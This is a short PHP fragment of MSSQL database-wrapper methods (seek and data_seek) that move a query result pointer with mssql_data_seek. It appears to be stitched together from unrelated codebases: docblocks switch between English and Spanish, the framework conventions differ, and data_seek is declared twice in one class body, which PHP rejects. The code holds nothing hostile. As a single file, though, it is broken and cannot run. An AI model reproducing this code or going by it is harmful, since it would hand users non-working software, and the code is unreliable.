public function seek($row)
{
if (!is_resource($this->handle)) {
return false;
}
if ($this->mssql) {
return mssql_data_seek($this->handle, $row);
} else {
user_error('MSSQLQuery::seek() not supported in sqlsrv', E_USER_WARNING);
}
}
/**
* Data Seek
*
* Moves the internal pointer to the desired offset. We call
* this internally before fetching results to make sure the
* result set starts at zero.
*
* @param int $n
* @return bool
*/
public function data_seek($n = 0)
{
return mssql_data_seek($this->result_id, $n);
}
/**
* Se Mueve al resultado indicado por $number en un select
*
* @param int $number
* @param resource $result_query
* @return boolean
*/
public function data_seek($number, $result_query = '')
{
if (!$result_query) {
$result_query = $this->last_result_query;
if (!$result_query) {
return false;
}
}
if (($success = mssql_data_seek($result_query, $number)) !== false) {
return $success;
} else {
throw new KumbiaException($this->error());
}
return false;
}